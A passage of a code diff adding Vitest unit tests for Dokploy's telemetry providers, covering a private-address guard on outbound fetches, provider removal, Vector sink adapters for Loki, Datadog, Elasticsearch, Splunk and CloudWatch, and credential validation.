providerFetch(`http://loki.internal.example.com:${port}/ready`),
|
||||
).rejects.toThrow(/blocked/i);
|
||||
expect(hostHeader).toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects when DNS resolution fails", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
mocks.lookup.mockImplementation(
|
||||
(_host: string, _options: unknown, callback: Function) =>
|
||||
callback(Object.assign(new Error("ENOTFOUND"), { code: "ENOTFOUND" })),
|
||||
);
|
||||
|
||||
await expect(
|
||||
providerFetch("http://does-not-exist.invalid/"),
|
||||
).rejects.toThrow();
|
||||
expect(hostHeader).toBeUndefined();
|
||||
});
|
||||
|
||||
it("connects to the address it validated, keeping the original Host header (self-hosted private endpoint)", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
resolvesTo("127.0.0.1");
|
||||
|
||||
const response = await providerFetch(
|
||||
`http://loki.internal.example.com:${port}/ready`,
|
||||
);
|
||||
expect(await response.text()).toBe("ok");
|
||||
expect(hostHeader).toBe(`loki.internal.example.com:${port}`);
|
||||
});
|
||||
|
||||
it("passes a public address through in cloud", async () => {
|
||||
const { guardedLookup } = await loadModule(true);
|
||||
resolvesTo("203.0.113.10");
|
||||
|
||||
const result = await new Promise((resolve, reject) =>
|
||||
guardedLookup("api.datadoghq.com", { all: true }, (error, addresses) =>
|
||||
error ? reject(error) : resolve(addresses),
|
||||
),
|
||||
);
|
||||
expect(result).toEqual([{ address: "203.0.113.10", family: 4 }]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { providerLabel } from "@/components/dashboard/settings/logs-and-metrics/show-servers";
|
||||
|
||||
describe("providerLabel", () => {
|
||||
it("names what the provider sends next to its name", () => {
|
||||
expect(providerLabel({ name: "Loki prod", signals: ["logs"] })).toBe(
|
||||
"Loki prod (logs)",
|
||||
);
|
||||
expect(providerLabel({ name: "Splunk", signals: ["metrics"] })).toBe(
|
||||
"Splunk (metrics)",
|
||||
);
|
||||
expect(
|
||||
providerLabel({ name: "Datadog", signals: ["logs", "metrics"] }),
|
||||
).toBe("Datadog (logs and metrics)");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,101 @@
|
||||
import type { SQL } from "drizzle-orm";
|
||||
import { PgDialect } from "drizzle-orm/pg-core";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
deleted: [] as unknown[],
|
||||
updates: [] as Array<{ table: unknown; values: Record<string, unknown> }>,
|
||||
updatedServers: [] as Array<{ serverId: string }>,
|
||||
updatedLocal: [] as Array<{ id: string }>,
|
||||
queried: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => {
|
||||
const tx = {
|
||||
delete: () => ({
|
||||
where: () => ({
|
||||
returning: () => Promise.resolve(mocks.deleted),
|
||||
}),
|
||||
}),
|
||||
update: (table: unknown) => ({
|
||||
set: (values: Record<string, unknown>) => ({
|
||||
where: () => ({
|
||||
returning: () => {
|
||||
mocks.updates.push({ table, values });
|
||||
return Promise.resolve(
|
||||
mocks.updates.length === 1
|
||||
? mocks.updatedServers
|
||||
: mocks.updatedLocal,
|
||||
);
|
||||
},
|
||||
}),
|
||||
}),
|
||||
}),
|
||||
};
|
||||
return {
|
||||
db: {
|
||||
transaction: (fn: (tx: unknown) => unknown) => fn(tx),
|
||||
query: {
|
||||
server: { findMany: mocks.queried },
|
||||
webServerSettings: { findFirst: mocks.queried },
|
||||
},
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const { server, webServerSettings } = await import("@dokploy/server/db/schema");
|
||||
const { removeTelemetryProvider } = await import(
|
||||
"@dokploy/server/services/logs-and-metrics/service"
|
||||
);
|
||||
|
||||
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
|
||||
|
||||
describe("removeTelemetryProvider", () => {
|
||||
beforeEach(() => {
|
||||
mocks.updates = [];
|
||||
mocks.updatedServers = [{ serverId: "server-1" }];
|
||||
mocks.updatedLocal = [{ id: "ws-1" }];
|
||||
mocks.queried.mockReset();
|
||||
});
|
||||
|
||||
it("drops the provider id from the selection of every server and of the local host", async () => {
|
||||
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
|
||||
|
||||
const { provider, targets } = await removeTelemetryProvider("lp-1");
|
||||
expect(provider).toEqual({ telemetryProviderId: "lp-1" });
|
||||
expect(targets).toEqual(["server-1", null]);
|
||||
|
||||
expect(mocks.updates.map((u) => u.table)).toEqual([
|
||||
server,
|
||||
webServerSettings,
|
||||
]);
|
||||
expect(render(mocks.updates[0]?.values.telemetryProviderIds)).toBe(
|
||||
'array_remove("server"."telemetryProviderIds", $1)',
|
||||
);
|
||||
expect(render(mocks.updates[1]?.values.telemetryProviderIds)).toBe(
|
||||
'array_remove("webServerSettings"."telemetryProviderIds", $1)',
|
||||
);
|
||||
expect(render(mocks.updates[1]?.values.vectorAgentOrganizationId)).toBe(
|
||||
'CASE WHEN cardinality(array_remove("webServerSettings"."telemetryProviderIds", $1)) = 0 THEN NULL ELSE "webServerSettings"."vectorAgentOrganizationId" END',
|
||||
);
|
||||
});
|
||||
|
||||
it("reconciles exactly the hosts whose selection the transaction updated", async () => {
|
||||
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
|
||||
mocks.updatedServers = [{ serverId: "server-1" }, { serverId: "server-2" }];
|
||||
mocks.updatedLocal = [];
|
||||
|
||||
const { targets } = await removeTelemetryProvider("lp-1");
|
||||
expect(targets).toEqual(["server-1", "server-2"]);
|
||||
expect(mocks.queried).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not touch assignments when the provider does not exist", async () => {
|
||||
mocks.deleted = [];
|
||||
|
||||
await expect(removeTelemetryProvider("missing")).rejects.toMatchObject({
|
||||
code: "NOT_FOUND",
|
||||
});
|
||||
expect(mocks.updates).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,392 @@
|
||||
import {
|
||||
getTelemetryProviderAdapter,
|
||||
telemetryProviderAdapters,
|
||||
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
|
||||
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseConfig: TelemetryProviderRuntimeConfig = {
|
||||
telemetryProviderId: "provider-1",
|
||||
name: "test",
|
||||
signals: ["logs"],
|
||||
endpoint: null,
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
};
|
||||
|
||||
describe("getTelemetryProviderAdapter", () => {
|
||||
it("returns the registered adapter for each known type", () => {
|
||||
expect(getTelemetryProviderAdapter("loki").type).toBe("loki");
|
||||
expect(getTelemetryProviderAdapter("datadog").type).toBe("datadog");
|
||||
expect(getTelemetryProviderAdapter("betterstack").type).toBe("betterstack");
|
||||
expect(getTelemetryProviderAdapter("elasticsearch").type).toBe(
|
||||
"elasticsearch",
|
||||
);
|
||||
expect(getTelemetryProviderAdapter("splunk_hec").type).toBe("splunk_hec");
|
||||
expect(getTelemetryProviderAdapter("aws_cloudwatch").type).toBe(
|
||||
"aws_cloudwatch",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws an explicit error for an unregistered type", () => {
|
||||
// @ts-expect-error: intentionally an unregistered type
|
||||
expect(() => getTelemetryProviderAdapter("unknown")).toThrow(
|
||||
/No TelemetryProviderAdapter registered/,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("lokiAdapter.toVectorSink", () => {
|
||||
it("maps endpoint + labels, without tenant_id if not set", () => {
|
||||
const adapter = telemetryProviderAdapters.loki;
|
||||
const sink = adapter.toVectorSink(
|
||||
{ ...baseConfig, endpoint: "https://loki.example.com" },
|
||||
"sink_1",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("loki");
|
||||
expect(sink.inputs).toEqual(["dokploy_scope"]);
|
||||
expect(sink.endpoint).toBe("https://loki.example.com");
|
||||
expect(sink.labels).toMatchObject({
|
||||
dokploy_project: "{{ dokploy_project }}",
|
||||
dokploy_environment: "{{ dokploy_environment }}",
|
||||
dokploy_application: "{{ dokploy_application }}",
|
||||
dokploy_organization: "{{ dokploy_organization }}",
|
||||
dokploy_server: "{{ dokploy_server }}",
|
||||
});
|
||||
expect(sink.tenant_id).toBeUndefined();
|
||||
expect(sink.buffer).toEqual({
|
||||
type: "disk",
|
||||
max_size: 268_435_488,
|
||||
when_full: "block",
|
||||
});
|
||||
});
|
||||
|
||||
it("includes tenant_id when present in extraConfig", () => {
|
||||
const adapter = telemetryProviderAdapters.loki;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://loki.example.com",
|
||||
extraConfig: { tenantId: "tenant-a" },
|
||||
},
|
||||
"sink_1",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.tenant_id).toBe("tenant-a");
|
||||
});
|
||||
|
||||
it("has no toVectorTransform — goes directly scope -> sink", () => {
|
||||
expect(telemetryProviderAdapters.loki.toVectorTransform).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("datadogAdapter.toVectorSink", () => {
|
||||
it("defaults site to datadoghq.com and sets no `tags` field (datadog_logs has none)", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
const sink = adapter.toVectorSink(
|
||||
{ ...baseConfig, apiKey: "dd-key" },
|
||||
"sink_2",
|
||||
"transform_2",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("datadog_logs");
|
||||
expect(sink.default_api_key).toBe("dd-key");
|
||||
expect(sink.site).toBe("datadoghq.com");
|
||||
expect(sink.tags).toBeUndefined();
|
||||
expect(sink.inputs).toEqual(["transform_2"]);
|
||||
});
|
||||
|
||||
it("uses extraConfig.site when present", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
apiKey: "dd-key",
|
||||
extraConfig: { site: "datadoghq.eu" },
|
||||
},
|
||||
"sink_2",
|
||||
"transform_2",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.site).toBe("datadoghq.eu");
|
||||
});
|
||||
|
||||
it("strips a pasted scheme/trailing slash from extraConfig.site instead of interpolating it as-is", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
apiKey: "dd-key",
|
||||
extraConfig: { site: "https://datadoghq.eu/" },
|
||||
},
|
||||
"sink_2",
|
||||
"transform_2",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.site).toBe("datadoghq.eu");
|
||||
});
|
||||
|
||||
it("builds .ddtags from the scoping fields in toVectorTransform, since datadog_logs has no `tags` option (vector generate-schema)", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
expect(adapter.toVectorTransform).toBeDefined();
|
||||
const transform = adapter.toVectorTransform?.(
|
||||
baseConfig,
|
||||
"transform_2",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(transform?.type).toBe("remap");
|
||||
expect(transform?.inputs).toEqual(["dokploy_scope"]);
|
||||
expect(transform?.source).toContain(".ddtags");
|
||||
expect(transform?.source).toContain(
|
||||
'"dokploy_server:" + replace(to_string!(.dokploy_server), ",", "_")',
|
||||
);
|
||||
});
|
||||
|
||||
it("escapes commas in scoping field values before building .ddtags, since ddtags is itself comma delimited", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
const transform = adapter.toVectorTransform?.(
|
||||
baseConfig,
|
||||
"transform_2",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(transform?.source).toContain(
|
||||
'replace(to_string!(.dokploy_project), ",", "_")',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("betterStackAdapter", () => {
|
||||
it("toVectorTransform renames timestamp to dt, inputs point to scope transform", () => {
|
||||
const adapter = telemetryProviderAdapters.betterstack;
|
||||
expect(adapter.toVectorTransform).toBeDefined();
|
||||
const transform = adapter.toVectorTransform?.(
|
||||
baseConfig,
|
||||
"transform_1",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(transform).toEqual({
|
||||
type: "remap",
|
||||
inputs: ["dokploy_scope"],
|
||||
source: ".dt = del(.timestamp)",
|
||||
});
|
||||
});
|
||||
|
||||
it("toVectorSink builds a generic http sink with bearer auth, reading from the transform id", () => {
|
||||
const adapter = telemetryProviderAdapters.betterstack;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://in.logs.betterstack.com",
|
||||
apiKey: "source-token",
|
||||
},
|
||||
"sink_3",
|
||||
"transform_1",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("http");
|
||||
expect(sink.inputs).toEqual(["transform_1"]);
|
||||
expect(sink.uri).toBe("https://in.logs.betterstack.com/");
|
||||
expect(sink.auth).toEqual({ strategy: "bearer", token: "source-token" });
|
||||
expect(sink.compression).toBe("gzip");
|
||||
});
|
||||
});
|
||||
|
||||
describe("elasticsearchAdapter", () => {
|
||||
it("has a toVectorTransform that flattens .label to a JSON string", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
expect(adapter.toVectorTransform).toBeDefined();
|
||||
const transform = adapter.toVectorTransform?.(
|
||||
baseConfig,
|
||||
"transform_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(transform?.type).toBe("remap");
|
||||
expect(transform?.inputs).toEqual(["dokploy_scope"]);
|
||||
expect(transform?.source).toContain("encode_json(.label)");
|
||||
});
|
||||
|
||||
it("uses basic auth when a username is set", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://es.example.com:9200",
|
||||
apiKey: "secret",
|
||||
extraConfig: { username: "elastic" },
|
||||
},
|
||||
"sink_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("elasticsearch");
|
||||
expect(sink.endpoints).toEqual(["https://es.example.com:9200"]);
|
||||
expect(sink.auth).toEqual({
|
||||
strategy: "basic",
|
||||
user: "elastic",
|
||||
password: "secret",
|
||||
});
|
||||
expect(sink.request).toBeUndefined();
|
||||
});
|
||||
|
||||
it("falls back to an ApiKey header when no username is set", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://es.example.com:9200",
|
||||
apiKey: "key-123",
|
||||
},
|
||||
"sink_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.auth).toBeUndefined();
|
||||
expect(sink.request).toEqual({
|
||||
headers: { Authorization: "ApiKey key-123" },
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects a username set without a password instead of silently shipping unauthenticated", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
expect(() =>
|
||||
adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://es.example.com:9200",
|
||||
extraConfig: { username: "elastic" },
|
||||
},
|
||||
"sink_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
),
|
||||
).toThrow(/Password.*required/i);
|
||||
});
|
||||
|
||||
it("includes bulk.index only when extraConfig.index is set", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
const withoutIndex = adapter.toVectorSink(
|
||||
{ ...baseConfig, endpoint: "https://es.example.com:9200" },
|
||||
"sink_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(withoutIndex.bulk).toBeUndefined();
|
||||
const withIndex = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://es.example.com:9200",
|
||||
extraConfig: { index: "dokploy-%Y.%m.%d" },
|
||||
},
|
||||
"sink_4",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(withIndex.bulk).toEqual({ index: "dokploy-%Y.%m.%d" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("splunkAdapter", () => {
|
||||
it("has no toVectorTransform — scoping fields ride along as plain JSON fields", () => {
|
||||
expect(
|
||||
telemetryProviderAdapters.splunk_hec.toVectorTransform,
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it("toVectorSink maps endpoint/token, only sets index/sourcetype when present", () => {
|
||||
const adapter = telemetryProviderAdapters.splunk_hec;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
apiKey: "hec-token",
|
||||
},
|
||||
"sink_5",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("splunk_hec_logs");
|
||||
expect(sink.endpoint).toBe("https://splunk.example.com:8088");
|
||||
expect(sink.default_token).toBe("hec-token");
|
||||
expect(sink.encoding).toEqual({ codec: "json" });
|
||||
expect(sink.index).toBeUndefined();
|
||||
expect(sink.sourcetype).toBeUndefined();
|
||||
|
||||
const withExtras = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
apiKey: "hec-token",
|
||||
extraConfig: { index: "dokploy", sourcetype: "docker" },
|
||||
},
|
||||
"sink_5",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(withExtras.index).toBe("dokploy");
|
||||
expect(withExtras.sourcetype).toBe("docker");
|
||||
});
|
||||
});
|
||||
|
||||
describe("awsCloudwatchAdapter", () => {
|
||||
it("has no logs transform — scoping fields ride along as plain JSON fields", () => {
|
||||
expect(
|
||||
telemetryProviderAdapters.aws_cloudwatch.toVectorTransform?.(
|
||||
baseConfig,
|
||||
"transform_1",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("toVectorSink maps access key/secret, region and log group/stream", () => {
|
||||
const adapter = telemetryProviderAdapters.aws_cloudwatch;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
apiKey: "AKIA...",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
|
||||
},
|
||||
"sink_6",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.type).toBe("aws_cloudwatch_logs");
|
||||
expect(sink.group_name).toBe("/dokploy/logs");
|
||||
expect(sink.stream_name).toBe("{{ container_name }}");
|
||||
expect(sink.region).toBe("us-east-1");
|
||||
expect(sink.auth).toEqual({
|
||||
access_key_id: "AKIA...",
|
||||
secret_access_key: "shh",
|
||||
});
|
||||
});
|
||||
|
||||
it("uses extraConfig.logStream as the stream template when set", () => {
|
||||
const adapter = telemetryProviderAdapters.aws_cloudwatch;
|
||||
const sink = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
apiKey: "AKIA...",
|
||||
apiSecret: "shh",
|
||||
extraConfig: {
|
||||
region: "us-east-1",
|
||||
logGroup: "/dokploy/logs",
|
||||
logStream: "{{ dokploy_application }}",
|
||||
},
|
||||
},
|
||||
"sink_6",
|
||||
"dokploy_scope",
|
||||
"logs",
|
||||
);
|
||||
expect(sink.stream_name).toBe("{{ dokploy_application }}");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,661 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
insertValues: vi.fn(),
|
||||
updateSet: vi.fn(),
|
||||
findFirst: vi.fn(),
|
||||
findMany: vi.fn(),
|
||||
serverFindFirst: vi.fn(),
|
||||
serverFindMany: vi.fn(),
|
||||
webServerFindFirst: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
insert: () => ({
|
||||
values: (v: any) => ({
|
||||
returning: () => Promise.resolve(mocks.insertValues(v)),
|
||||
}),
|
||||
}),
|
||||
update: () => ({
|
||||
set: (v: any) => ({
|
||||
where: () => ({
|
||||
returning: () => Promise.resolve(mocks.updateSet(v)),
|
||||
}),
|
||||
}),
|
||||
}),
|
||||
query: {
|
||||
telemetryProvider: {
|
||||
findFirst: mocks.findFirst,
|
||||
findMany: mocks.findMany,
|
||||
},
|
||||
server: {
|
||||
findFirst: mocks.serverFindFirst,
|
||||
findMany: mocks.serverFindMany,
|
||||
},
|
||||
webServerSettings: { findFirst: mocks.webServerFindFirst },
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
const {
|
||||
assertProvidersBelongToOrg,
|
||||
assertSignalsSupported,
|
||||
createTelemetryProvider,
|
||||
testTelemetryProviderConnection,
|
||||
updateTelemetryProvider,
|
||||
} = await import("@dokploy/server/services/logs-and-metrics/service");
|
||||
const { telemetryProviderAdapters } = await import(
|
||||
"@dokploy/server/services/logs-and-metrics/providers/registry"
|
||||
);
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.serverFindMany.mockResolvedValue([]);
|
||||
mocks.webServerFindFirst.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
describe("updateTelemetryProvider — targets to re-apply", () => {
|
||||
const existing = {
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: "old",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.findFirst.mockResolvedValue(existing);
|
||||
mocks.updateSet.mockReturnValue([{ ...existing, apiKey: "new" }]);
|
||||
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
|
||||
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
|
||||
});
|
||||
|
||||
it("returns the servers and the local host that ship with it when a credential changes", async () => {
|
||||
const { targets } = await updateTelemetryProvider("lp-1", {
|
||||
apiKey: "new",
|
||||
});
|
||||
expect(targets).toEqual(["server-1", null]);
|
||||
});
|
||||
|
||||
it("returns the same targets when the provider is disabled", async () => {
|
||||
const { targets } = await updateTelemetryProvider("lp-1", {
|
||||
enabled: false,
|
||||
});
|
||||
expect(targets).toEqual(["server-1", null]);
|
||||
});
|
||||
|
||||
it("returns no targets when only the name changes or a value is re-sent unchanged", async () => {
|
||||
expect(
|
||||
(await updateTelemetryProvider("lp-1", { name: "renamed" })).targets,
|
||||
).toEqual([]);
|
||||
expect(
|
||||
(
|
||||
await updateTelemetryProvider("lp-1", {
|
||||
endpoint: "https://loki.example.com",
|
||||
})
|
||||
).targets,
|
||||
).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createTelemetryProvider — required credential fields per adapter", () => {
|
||||
it("rejects a loki provider without endpoint", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{ name: "loki-prod", providerType: "loki", signals: ["logs"] } as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/endpoint/i);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a datadog provider without apiKey", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{ name: "dd", providerType: "datadog", signals: ["logs"] } as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow();
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a betterstack provider missing either field", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "bs",
|
||||
providerType: "betterstack",
|
||||
signals: ["logs"],
|
||||
apiKey: "token-only",
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow();
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a splunk_hec provider without a HEC token", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "splunk",
|
||||
providerType: "splunk_hec",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/token/i);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects an aws_cloudwatch provider missing required extraConfig fields (region/log group)", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs"],
|
||||
apiKey: "AKIA...",
|
||||
apiSecret: "shh",
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/region|log group/i);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a datadog provider whose apiKey only exists inside extraConfig, not the real column", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "dd",
|
||||
providerType: "datadog",
|
||||
signals: ["logs"],
|
||||
extraConfig: { apiKey: "sneaky-value" },
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/api key/i);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects an elasticsearch provider with a username but no password (adapter.validateConfig)", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "es",
|
||||
providerType: "elasticsearch",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://es.example.com:9200",
|
||||
extraConfig: { username: "elastic" },
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/password.*required/i);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("accepts an aws_cloudwatch provider with region and log group set via extraConfig", async () => {
|
||||
mocks.insertValues.mockReturnValue([
|
||||
{
|
||||
telemetryProviderId: "lp-2",
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs"],
|
||||
},
|
||||
]);
|
||||
const created = await createTelemetryProvider(
|
||||
{
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs"],
|
||||
apiKey: "AKIA...",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
|
||||
} as any,
|
||||
"org-1",
|
||||
);
|
||||
expect(created.telemetryProviderId).toBe("lp-2");
|
||||
});
|
||||
|
||||
it("accepts a loki provider with endpoint", async () => {
|
||||
mocks.insertValues.mockReturnValue([
|
||||
{ telemetryProviderId: "lp-1", name: "loki-prod", providerType: "loki" },
|
||||
]);
|
||||
const created = await createTelemetryProvider(
|
||||
{
|
||||
name: "loki-prod",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
} as any,
|
||||
"org-1",
|
||||
);
|
||||
expect(created.telemetryProviderId).toBe("lp-1");
|
||||
expect(mocks.insertValues).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("updateTelemetryProvider — merges partial update with existing row before validating", () => {
|
||||
it("allows updating just the name without re-sending existing credentials", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "old-name",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([
|
||||
{ telemetryProviderId: "lp-1", name: "new-name" },
|
||||
]);
|
||||
|
||||
const { provider: updated, targets } = await updateTelemetryProvider(
|
||||
"lp-1",
|
||||
{ name: "new-name" },
|
||||
);
|
||||
expect(updated.name).toBe("new-name");
|
||||
expect(targets).toEqual([]);
|
||||
});
|
||||
|
||||
it("rejects clearing the only required field via update", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki-prod",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
});
|
||||
|
||||
await expect(
|
||||
updateTelemetryProvider("lp-1", { endpoint: null }),
|
||||
).rejects.toThrow(/endpoint/i);
|
||||
});
|
||||
|
||||
it("clears the old provider's credentials when providerType changes, unless new values are given", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "dd-prod",
|
||||
providerType: "datadog",
|
||||
signals: ["logs"],
|
||||
endpoint: null,
|
||||
apiKey: "old-datadog-key",
|
||||
apiSecret: null,
|
||||
extraConfig: { site: "datadoghq.com" },
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
|
||||
|
||||
await updateTelemetryProvider("lp-1", {
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
});
|
||||
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
}),
|
